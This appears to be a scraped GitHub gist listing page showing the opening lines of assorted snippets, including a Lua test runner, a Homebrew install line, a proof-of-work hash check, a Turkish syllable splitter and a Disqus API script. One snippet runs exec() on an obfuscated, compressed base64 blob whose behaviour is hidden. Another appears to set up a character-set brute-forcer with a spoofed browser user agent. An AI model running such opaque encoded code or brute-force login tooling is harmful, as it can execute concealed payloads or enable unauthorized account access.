This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local testRunner = { | |
tests = { | |
test_foo = function() end, | |
test_bar = function() end, | |
test_zoo = function() end | |
}, | |
init = function(self) | |
self._tests = {} | |
for n, f in pairs(self.tests) do | |
table.insert(self._tests, {n, f}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
brew install iterm2 git docker docker-compose btop neovim nvm pyenv pipx zsh zsh-completions wget grep curl tmux ranger |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from hashlib import sha256 | |
from time import time | |
HARDNESS = 4 | |
VALID_BLOCK_PREFIX = "0" * HARDNESS | |
def is_valid_hash(hash_str): | |
return hash_str.startswith(VALID_BLOCK_PREFIX) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def get_syllables(word): | |
syllables = [] | |
""" | |
Aşağıdaki satır gelen kelimenin ünlü harfler 1, ünsüzler 0 olacak | |
şekilde desenini çıkarır. | |
Örneğin: arabacı -> 1010101, türkiye -> 010010 | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from urllib2 import urlopen, HTTPError | |
from urllib import urlencode, unquote_plus | |
from json import loads | |
from time import sleep | |
API_SECRET = '__YOUR_DUSQUS_APP_API_SECRET__' | |
FORUM_ID = '___YOUR_DISQUS_FORUM_ID___' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import zlib, base64 | |
exec(zlib.decompress(base64.b64decode('eJxdUE1PAyEUvPMrcA0BdD+sBw9NMGmbJl6aeGpi1DTYZVvsLlBg+3HxtwvbbFu9ADPvzcx73N4UrbPFl1SFUDtojn6tFZgzbYQCmtXhXCx4G1i7WLBkJi33cMIVHPOj5ZskVJfaHK1crX1smPQAPj4MnlL4WnMlPJxy69cJqKxuYMm98LIRUDZGW3/GYMn6Z670HrQX6LytupbOQLte2mxKaXsyN9yv+4o4GK7K1gmbfmupUnGQzrtTqzueDbhd7cCYYVRmqMnQW+4PHgMeiQI1BXqDGUSjD4XBlEUfcvEl+AfTFOe1XjUCUyArqHQMjkFkSocAmnAByZaEgoq1RKZjCsqTzzSt/kvKKKkMm5MyxfvgCLediNNI53srvSDba4AzfEd04LIBvcdhSgpE7cSVDT8NpklclD4PQmnHMMR5N0Qk3wfDz+A5YvL8yyRBL0M0S/5EITeEyIUMREbpjoaNTL6stRNhuV/OibeI'))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import glob | |
import subprocess | |
from os.path import exists | |
from sys import exit | |
INPUT_FOLDER = 'input/' | |
OUTPUT_FOLDER = 'output/' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
"""logme: Simplest diary program""" | |
__author__ = "Mirat Can Bayrak" | |
__copyright__ = "Copyright 2016, Planet Earth" | |
from datetime import datetime |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import subprocess | |
from collections import namedtuple | |
from datetime import timedelta | |
from math import sqrt | |
import argparse | |
from os.path import join, exists | |
from os import getcwd, mkdir | |
from ffprobe import FFProbe | |
from pytube import YouTube |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
import sys | |
from time import sleep | |
import mechanize | |
CHRS = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' | |
MOZILLA_UAS = 'Mozilla/5.0 (X11; U; Linux i686; en-US) ' \ | |
'AppleWebKit/534.7 (KHTML, like Gecko) ' \ |
NewerOlder